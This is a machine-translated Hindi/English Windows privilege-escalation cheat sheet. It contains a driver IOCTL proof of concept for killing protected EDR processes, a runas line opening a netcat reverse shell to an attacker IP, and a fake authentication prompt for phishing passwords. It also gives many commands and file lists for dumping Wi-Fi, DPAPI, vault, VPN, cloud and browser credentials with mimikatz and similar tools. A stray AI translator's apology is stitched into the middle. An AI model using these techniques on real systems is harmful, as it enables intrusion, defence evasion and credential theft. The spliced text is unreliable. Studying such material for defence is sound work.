कुछ signed third‑party drivers अपने device object को मजबूत SDDL के साथ IoCreateDeviceSecure के जरिए बनाते हैं लेकिन DeviceCharacteristics में FILE_DEVICE_SECURE_OPEN सेट करना भूल जाते हैं। इस flag के बिना, secure DACL उस समय लागू नहीं होता जब डिवाइस को ऐसे path से खोला जाता है जिसमें एक अतिरिक्त component हो, जिससे कोई भी unprivileged user निम्नलिखित namespace path का उपयोग करके handle प्राप्त कर सकता है:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (from a real-world case)
एक बार user device को खोल सके, driver द्वारा expose किए गए privileged IOCTLs का दुरुपयोग LPE और tampering के लिए किया जा सकता है। वास्तविक दुनिया में देखी गई उदाहरण क्षमताएँ:
- arbitrary processes को full-access handles वापस करना (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- अनियंत्रित raw disk read/write (offline tampering, boot-time persistence tricks).
- arbitrary processes को terminate करना, जिनमें Protected Process/Light (PP/PPL) शामिल हैं, जिससे user land से kernel के माध्यम से AV/EDR kill संभव हो जाता है.
Minimal PoC pattern (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Mitigations for developers
- जब आप ऐसे device objects बनाते हैं जिन्हें DACL द्वारा सीमित किया जाना है तो हमेशा FILE_DEVICE_SECURE_OPEN सेट करें।
- privileged operations के लिए caller context को validate करें। process termination या handle returns की अनुमति देने से पहले PP/PPL चेक जोड़ें।
- IOCTLs (access masks, METHOD_*, input validation) को सीमित करें और सीधे kernel privileges के बजाय brokered models पर विचार करें।
Detection ideas for defenders
- संदिग्ध device names (e.g., \ .\amsdk*) की user-mode opens और दुरुपयोग का संकेत देने वाली विशिष्ट IOCTL sequences की निगरानी करें।
- Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) लागू करें और अपनी खुद की allow/deny lists बनाए रखें।
PATH DLL Hijacking
If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.
Check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
इस चेक का दुरुपयोग कैसे करें, इसके बारे में अधिक जानकारी के लिए:
Writable Sys Path +Dll Hijacking Privesc
नेटवर्क
शेयर
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
hosts file में hardcoded अन्य ज्ञात कंप्यूटरों की जाँच करें
type C:\Windows\System32\drivers\etc\hosts
नेटवर्क इंटरफ़ेस और DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
खुले पोर्ट
बाहरी से प्रतिबंधित सेवाएँ की जाँच करें
netstat -ano #Opened ports?
रूटिंग टेबल
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP तालिका
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall Rules
Check this page for Firewall related commands (रूल सूचीबद्ध करना, रूल बनाना, बंद करना, बंद करना...)
अधिक commands for network enumeration here
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
बाइनरी bash.exe
को C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
में भी पाया जा सकता है
यदि आप root user प्राप्त कर लेते हैं तो आप किसी भी पोर्ट पर सुन सकते हैं (पहली बार जब आप किसी पोर्ट पर सुनने के लिए nc.exe
का उपयोग करेंगे, तो यह GUI के माध्यम से पूछेगा कि nc
को firewall द्वारा अनुमति दी जानी चाहिए या नहीं)।
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
रूट के रूप में bash आसानी से शुरू करने के लिए, आप --default-user root
आज़मा सकते हैं
आप WSL
filesystem को फ़ोल्डर C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
में एक्सप्लोर कर सकते हैं
Windows Credentials
Winlogon Credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault सर्वरों, वेबसाइटों और अन्य प्रोग्रामों के लिए उपयोगकर्ता क्रेडेंशियल्स को स्टोर करता है जिन्हें Windows स्वचालित रूप से उपयोगकर्ताओं को लॉग इन करवा सकता है। पहली नज़र में ऐसा लग सकता है कि उपयोगकर्ता अपने Facebook, Twitter, Gmail आदि के क्रेडेंशियल्स यहाँ स्टोर कर सकते हैं ताकि वे ब्राउज़र के माध्यम से स्वतः लॉग इन हो जाएँ। लेकिन ऐसा नहीं है।
Windows Vault उन क्रेडेंशियल्स को स्टोर करता है जिनके द्वारा Windows उपयोगकर्ताओं को स्वचालित रूप से लॉग इन कर सकता है, जिसका मतलब है कि कोई भी Windows application जो किसी resource तक पहुँचने के लिए credentials की आवश्यकता रखता है (server या a website) इस Credential Manager का उपयोग कर सकता है & Windows Vault और उपयोगकर्ताओं द्वारा बार-बार username और password डालने के बजाय उपलब्ध कराए गए क्रेडेंशियल्स का उपयोग कर सकता है।
जब तक एप्लिकेशन Credential Manager के साथ इंटरैक्ट नहीं करते, मुझे नहीं लगता कि वे किसी दिए गए resource के लिए क्रेडेंशियल्स का उपयोग कर पाएंगे। इसलिए, यदि आपका एप्लिकेशन vault का उपयोग करना चाहता है, तो इसे किसी न किसी तरह से डिफ़ॉल्ट storage vault से credential manager के साथ संवाद करके उस resource के लिए credentials का अनुरोध करना चाहिए।
मशीन पर संग्रहीत क्रेडेंशियल्स की सूची देखने के लिए cmdkey
का उपयोग करें।
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
फिर आप सहेजे गए credentials का उपयोग करने के लिए runas
को /savecred
विकल्प के साथ चला सकते हैं। निम्नलिखित उदाहरण SMB share के माध्यम से रिमोट binary को कॉल कर रहा है।
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
प्रदान किए गए credential सेट के साथ runas
का उपयोग।
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Note करें कि ये क्रेडेंशियल्स mimikatz, lazagne, credentialfileview, VaultPasswordView, या Empire Powershells module से निकाले जा सकते हैं।
DPAPI
The Data Protection API (DPAPI) डेटा के सममित एन्क्रिप्शन के लिए एक तरीका प्रदान करता है, जिसका उपयोग मुख्यतः Windows ऑपरेटिंग सिस्टम के भीतर असिमेट्रिक प्राइवेट कीज़ के सममित एन्क्रिप्शन के लिए किया जाता है। यह एन्क्रिप्शन एंट्रॉपी में महत्वपूर्ण योगदान देने के लिए उपयोगकर्ता या सिस्टम सीक्रेट का उपयोग करता है।
DPAPI उपयोगकर्ता के लॉगिन सीक्रेट्स से व्युत्पन्न एक symmetric key के माध्यम से कुंजियों के एन्क्रिप्शन को सक्षम करता है। सिस्टम-एन्क्रिप्शन की परिस्थितियों में, यह सिस्टम के domain authentication secrets का उपयोग करता है।
DPAPI का उपयोग करके encrypted user RSA keys %APPDATA%\Microsoft\Protect\{SID}
डायरेक्टरी में संग्रहीत होते हैं, जहाँ {SID}
उपयोगकर्ता के Security Identifier का प्रतिनिधित्व करता है। DPAPI key, जो उसी फ़ाइल में उपयोगकर्ता की private keys की सुरक्षा करने वाले master key के साथ सह-स्थित होती है, आमतौर पर 64 bytes की random data होती है। (यह ध्यान देने योग्य है कि इस डायरेक्टरी तक पहुँच restricted है, इसलिए CMD में dir
कमांड द्वारा इसकी सामग्री सूचीबद्ध नहीं की जा सकती, हालाँकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)।
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
आप उपयुक्त arguments (/pvk
or /rpc
) के साथ mimikatz module dpapi::masterkey
का उपयोग करके इसे decrypt कर सकते हैं।
आम तौर पर master password द्वारा सुरक्षित credentials फ़ाइलें निम्न स्थानों पर स्थित होती हैं:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
You can use mimikatz module dpapi::cred
with the appropiate /masterkey
to decrypt.
You can extract many DPAPI masterkeys from memory with the sekurlsa::dpapi
module (if you are root).
PowerShell क्रेडेंशियल्स
PowerShell क्रेडेंशियल्स का अक्सर उपयोग scripting और automation tasks के लिए किया जाता है ताकि encrypted credentials को सुविधाजनक तरीके से store किया जा सके। ये credentials DPAPI द्वारा सुरक्षित होते हैं, जिसका सामान्यतः मतलब है कि इन्हें केवल वही user और वही computer ही decrypt कर सकता है जिन पर इन्हें बनाया गया था।
फाइल में मौजूद PS credentials को decrypt करने के लिए आप यह कर सकते हैं:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
वाईफ़ाई
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
सहेजे गए RDP कनेक्शन
आप इन्हें HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
और HKCU\Software\Microsoft\Terminal Server Client\Servers\
हाल ही में चलाए गए कमांड
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
रिमोट डेस्कटॉप क्रेडेंशियल मैनेजर
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Use the Mimikatz dpapi::rdg
module with appropriate /masterkey
to decrypt any .rdg files
आप उपयुक्त /masterkey
के साथ Mimikatz dpapi::rdg
मॉड्यूल का उपयोग करके किसी भी .rdg
फाइल को decrypt कर सकते हैं।
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi
module
आप मेमोरी से कई DPAPI masterkeys को extract करने के लिए Mimikatz sekurlsa::dpapi
मॉड्यूल का उपयोग कर सकते हैं।
Sticky Notes
People often use the StickyNotes app on Windows workstations to save passwords and other information, not realizing it is a database file. This file is located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
and is always worth searching for and examining.
लोग अक्सर Windows वर्कस्टेशनों पर StickyNotes ऐप का उपयोग save passwords और अन्य जानकारी सहेजने के लिए करते हैं, यह समझे बिना कि यह एक database file है। यह फ़ाइल C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
में स्थित है और हमेशा इसे खोजकर और जांचने लायक होता है।
AppCmd.exe
Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe is located in the %systemroot%\system32\inetsrv\
directory.
यदि यह फ़ाइल मौजूद है तो संभव है कि कुछ credentials कॉन्फ़िगर किए गए हों और उन्हें recovered किया जा सके।
This code was extracted from PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
जांचें कि C:\Windows\CCM\SCClient.exe
मौजूद है .
इंस्टॉलर SYSTEM privileges के साथ चलाए जाते हैं, और कई DLL Sideloading (जानकारी https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
फ़ाइलें और रजिस्ट्री (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH Host Keys
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH keys रजिस्ट्री में
SSH private keys रजिस्ट्री key HKCU\Software\OpenSSH\Agent\Keys
के अंदर स्टोर हो सकते हैं, इसलिए आपको जांचना चाहिए कि वहाँ कुछ दिलचस्प है या नहीं:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
यदि आपको उस पथ के अंदर कोई एंट्री मिलती है तो वह संभवतः एक saved SSH key होगी। यह encrypted रूप में संग्रहीत है लेकिन इसे आसानी से decrypted किया जा सकता है using https://github.com/ropnop/windows_sshagent_extract.
इस तकनीक के बारे में अधिक जानकारी यहाँ: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
यदि ssh-agent
सर्विस चल नहीं रही है और आप चाहते हैं कि यह बूट पर स्वतः शुरू हो, तो चलाएँ:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
tip
ऐसा लगता है कि यह technique अब मान्य नहीं है। मैंने कुछ ssh keys बनाए, उन्हें ssh-add
से जोड़ा और ssh के माध्यम से एक मशीन में login किया। रेजिस्ट्री HKCU\Software\OpenSSH\Agent\Keys मौजूद नहीं है और procmon ने asymmetric key authentication के दौरान dpapi.dll
के उपयोग की पहचान नहीं की।
बिना देखरेख वाली फ़ाइलें
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
आप इन फाइलों को metasploit का उपयोग करके भी खोज सकते हैं: post/windows/gather/enum_unattend
उदाहरण सामग्री:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM बैकअप
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
क्लाउड क्रेडेंशियल्स
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
एक फ़ाइल खोजें जिसका नाम SiteList.xml हो
Cached GPP Pasword
एक फीचर पहले मौजूद था जो Group Policy Preferences (GPP) के माध्यम से मशीनों के समूह पर कस्टम लोकल administrator खाते डिप्लॉय करने की अनुमति देता था। हालांकि, इस विधि में महत्वपूर्ण सुरक्षा कमजोरियाँ थीं। सबसे पहले, Group Policy Objects (GPOs), जो SYSVOL में XML फ़ाइलों के रूप में स्टोर होते हैं, किसी भी डोमेन उपयोगकर्ता द्वारा एक्सेस किए जा सकते थे। दूसरे, इन GPPs के भीतर के passwords, जो AES256 से एन्क्रिप्टेड थे और एक publicly documented default key का उपयोग करते थे, किसी भी प्रमाणीकृत उपयोगकर्ता द्वारा डीक्रिप्ट किए जा सकते थे। यह एक गंभीर जोखिम था, क्योंकि इससे users को elevated privileges मिल सकते थे।
इस जोखिम को कम करने के लिए, एक फ़ंक्शन विकसित किया गया था जो स्थानीय रूप से cached GPP फ़ाइलों को स्कैन करता है जिनमें एक "cpassword" field होता है जो खाली नहीं है। ऐसी फ़ाइल मिलने पर, फ़ंक्शन password को decrypt करता है और एक custom PowerShell object लौटाता है। यह object GPP और फ़ाइल के स्थान के बारे में विवरण शामिल करता है, जो इस सुरक्षा कमजोरी की पहचान और निवारण में मदद करता है।
Search in C:\ProgramData\Microsoft\Group Policy\history
or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
To decrypt the cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
crackmapexec का उपयोग करके passwords प्राप्त करना:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web Config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
web.config के साथ credentials का उदाहरण:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN क्रेडेंशियल्स
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
लॉग्स
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
credentials के लिए पूछें
यदि आपको लगता है कि वह उन्हें जान सकता है, तो आप हमेशा उपयोगकर्ता से उसके credentials दर्ज करने के लिए कह सकते हैं या यहाँ तक कि किसी अन्य उपयोगकर्ता के credentials भी माँग सकते हैं (ध्यान दें कि क्लाइंट से सीधे credentials माँगना वास्तव में जोखिम भरा है):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
संभावित फ़ाइल नाम जिनमें credentials शामिल हो सकते हैं
ज्ञात फ़ाइलें जिनमें कुछ समय पहले passwords clear-text या Base64 में मौजूद थे
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
माफ़ करें — मेरे पास प्रोजेक्ट फाइलों तक सीधा एक्सेस नहीं है। कृपया "src/windows-hardening/windows-local-privilege-escalation/README.md" की सामग्री यहाँ पेस्ट करें या बताएं किन फाइलों को मैं खोजूं/अनुवाद करूं, तब मैं आगे बढ़ता हूँ।
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
RecycleBin में Credentials
आपको Bin को भी जांचना चाहिए कि इसके अंदर credentials मौजूद तो नहीं
कई प्रोग्रामों द्वारा सहेजे गए पासवर्ड को recover करने के लिए आप उपयोग कर सकते हैं: http://www.nirsoft.net/password_recovery_tools.html
Registry के अंदर
अन्य संभावित registry keys जिनमें credentials हो सकते हैं
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
ब्राउज़र इतिहास
You should check for dbs where passwords from Chrome or Firefox are stored.
साथ ही ब्राउज़रों के history, bookmarks और favourites की भी जाँच करें क्योंकि वहाँ शायद कुछ passwords are स्टोर हो सकते हैं।
Tools to extract passwords from browsers:
- Mimikatz:
dpapi::chrome
- SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
Component Object Model (COM) Windows ऑपरेटिंग सिस्टम के भीतर निर्मित एक तकनीक है जो विभिन्न भाषाओं के सॉफ़्टवेयर components के बीच पारस्परिक संचार (intercommunication) की अनुमति देती है। प्रत्येक COM component को class ID (CLSID) के जरिए पहचाना जाता है और प्रत्येक component एक या अधिक interfaces के माध्यम से functionality expose करता है, जिन्हें interface IDs (IIDs) द्वारा पहचाना जाता है।
COM classes और interfaces को registry में HKEY\CLASSES\ROOT\CLSID और HKEY\CLASSES\ROOT\Interface के अंतर्गत परिभाषित किया जाता है। यह registry HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes को मर्ज करके बनाया जाता है = HKEY\CLASSES\ROOT.
इस registry के CLSIDs के अंदर आप child registry InProcServer32 पा सकते हैं जो एक default value रखता है जो एक DLL की ओर इशारा करता है और एक value होती है जिसका नाम ThreadingModel होता है जो Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) या Neutral (Thread Neutral) हो सकती है।
सिद्धांततः, अगर आप उन किसी भी DLLs को overwrite any of the DLLs कर सकें जो execute होने वाले हैं, तो आप escalate privileges कर सकते हैं अगर वह DLL किसी दूसरे user द्वारा execute किया जा रहा हो।
To learn how attackers use COM Hijacking as a persistence mechanism check:
Generic Password search in files and registry
Search for file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
किसी विशिष्ट फ़ाइलनाम वाली फ़ाइल खोजें
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
रजिस्ट्री में key names और passwords खोजें
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Tools जो passwords खोजते हैं
MSF-Credentials Plugin is a msf plugin। मैंने यह plugin बनाया है ताकि यह automatically execute every metasploit POST module that searches for credentials victim के अंदर चलाए।
Winpeas स्वचालित रूप से इस पृष्ठ में उल्लिखित उन सभी फ़ाइलों को खोजता है जिनमें passwords होते हैं।
Lazagne एक और बढ़िया tool है जो system से password निकालने के लिए उपयोग होता है।
